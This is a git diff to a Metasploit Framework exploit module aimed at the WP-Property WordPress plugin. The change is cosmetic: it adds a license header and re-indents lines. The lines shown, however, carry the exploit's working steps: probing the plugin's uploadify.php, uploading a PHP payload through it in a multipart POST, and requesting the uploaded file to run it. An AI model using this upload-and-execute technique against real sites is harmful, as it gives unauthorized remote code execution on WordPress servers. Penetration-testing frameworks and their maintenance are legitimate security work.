diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index b802db106a..bbca86ec5e 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -1,3 +1,11 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + require 'msf/core' require 'msf/core/exploit/php_exe' @@ -53,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ - 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" + 'method' => 'GET', + 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" }) if not res or res.code != 200 @@ -80,10 +88,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ - 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", - 'ctype' => "multipart/form-data; boundary=#{data.bound}", - 'data' => post_data + 'method' => 'POST', + 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data }) if not res or res.code != 200 or res.body !~ /#{@payload_name}/ @@ -94,8 +102,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_raw({ - 'uri' => upload_uri, - 'method' => 'GET' + 'uri' => upload_uri, + 'method' => 'GET' }) end end